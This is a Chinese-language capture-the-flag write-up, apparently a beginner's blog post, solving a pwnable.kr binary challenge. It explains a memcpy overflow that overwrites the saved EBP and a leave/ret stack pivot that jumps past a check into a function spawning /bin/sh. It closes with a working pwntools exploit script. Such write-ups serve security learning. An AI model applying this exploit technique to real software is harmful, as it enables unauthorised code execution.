資安新手,
把自己的解題過程記錄下來避免失憶症發作 lol
有錯誤的地方請大佬用力的噴我,想學到更多。
上一篇程式分析沒看到的可以來這邊看喔!
https://ithelp.ithome.com.tw/articles/10221566
一樣本篇會以思路為主,並不會直接講怎麼解。
correct函數比較簡單,在此就不再多做解析了。
總之裡面有寫好systemcall的/bin/sh,算是對新手的一面寬容阿OAO
所以我們的目的就是要跳轉到correct函數,
並且此時input的值為0xdeadbeef就行了(correct有驗證)。
首先看到Base64Decode跟Md5 Hash出來
我想看看前後有沒有有規律的地方
第一時間想到跟進Md5裡面看看,該有的都有
加上Hash不可回推的性質...
所以我下定決心!...
別鬧了,歹路母湯走阿~~~
接下來我開始灌好幾個'A'試試看
發現會跑出Wrong Length
發現Base64Decode函數會解碼出字串跟長度出來
再進行比對
mov [esp+3Ch], eax
cmp dword ptr [esp+3Ch], 0Ch
ja short loc_8049413
恩,看來咱的Input可不能大於12 bytes阿,不然連後面都不用進去了。
那接下來一般pwn會出問題的不外乎是
printf(), memcpy(), strcpy()等類似函數對字串沒有處理好
看看main裡的都沒什麼問題,等到進auth()時就發現了!
mov eax, [ebp+arg_0]
mov [esp+8], eax
mov dword ptr [esp+4], offset input
lea eax, [ebp+var_14]
add eax, 0Ch
mov [esp], eax
call memcpy
這裡的memcpy()會把我們的input copy進位於[ebp-8]的位置裡
記得嘛!前面不是說最大12 bytes,這裡竟然離ebp只有八步之遙!
也就是我們會有12 - 8 = 4 bytes可以剛好蓋掉ebp,如下圖:
這時候一定覺得很可惜,哎呀,怎麼就剛好蓋不到EIP來執行correct()呢!
蓋到EBP也很好啊!
我們可以利用ROP的概念
由於程式大小比較小,我直接用肉眼看有沒有可以被ROP利用的
程式量如果大一點的話大家可以利用Linux的ROPgadget指令來找到相關指令方便利用
跟ebp相關的可以發現兩個很重要的地方:
1.auth()本身自己的leave指令:
2.main()的leave指令:
首先大家應該知道,
leave指令相當於
mov esp, ebp
pop ebp
ret指令相當於
pop eip
我們直接舉例吧!
我們一樣先用12個A直接淹沒EBP。
要知道我們現在在auth()裡
所以當auth()leave的時候
ESP,EBP前後會如下變化:
那假如main再次執行leave跟ret的話發生甚麼事呢?
我們有三個條件要達成:
1.覆蓋的ebp要距離correct()函數的起始位址4 BYTES。(根據上面推導結果)
2.執行correct()函數時input的值要是0xdeadbeef。(input為全局變數)
3.我們只有12個bytes可以利用。(大於12則不會進行到後面的漏洞)
想法:
既然最後EBP覆蓋的值會使EIP執行[覆蓋值+4地址]所指向的值
此值當然要是correct()函數 - 4。
期望如下圖
我們需要找個可控的地方來執行這8 BYTES,
再加上要指定覆蓋值4 BYTES,剛好等於12 BYTES!
&input+被覆蓋EBP給我們的12 BYTES空間剛好可以
另外這時候發現可以不用滿足0xdeadbeef的驗證
那就是直接執行correct函數驗證的下方位址繞過驗證
也就是mov dword ptr [esp], offset aCongratulation ; "Congratulation! you are good!"
結果會是下圖這樣:
我用上面的payload帶大家來跑一次吧!
首先到輸入payload到漏洞地方
四個'A' + correct()函數 + &input的位址
EBP被覆蓋成&input位址
EBP = &input ( -> input )
EIP = 正常auth()返回
ESP = 正常auth()程式碼
ESP = &input ( -> input )
EBP = padding
EIP = correct()中的位址
抱歉這裡解釋得沒有很好,但是盡我可能。
from pwn import *
import base64
r = remote("pwnable.kr", 9003)
correct = 0x08049278
inputlocate = 0x0811EB40
r.recvuntil("Authenticate : ")
payload = 'A'*4 + p32(correct) + p32(inputlocate)
r.sendline(base64.b64encode( payload) )
r.interactive()
執行後畫面:
結論下來其實題目難度是簡單的
礙於我ROP的觀念薄弱,過程卡了很多次
而且應該靜下心來看函數有沒有overflow
真的覺得binary很需要耐心阿(汗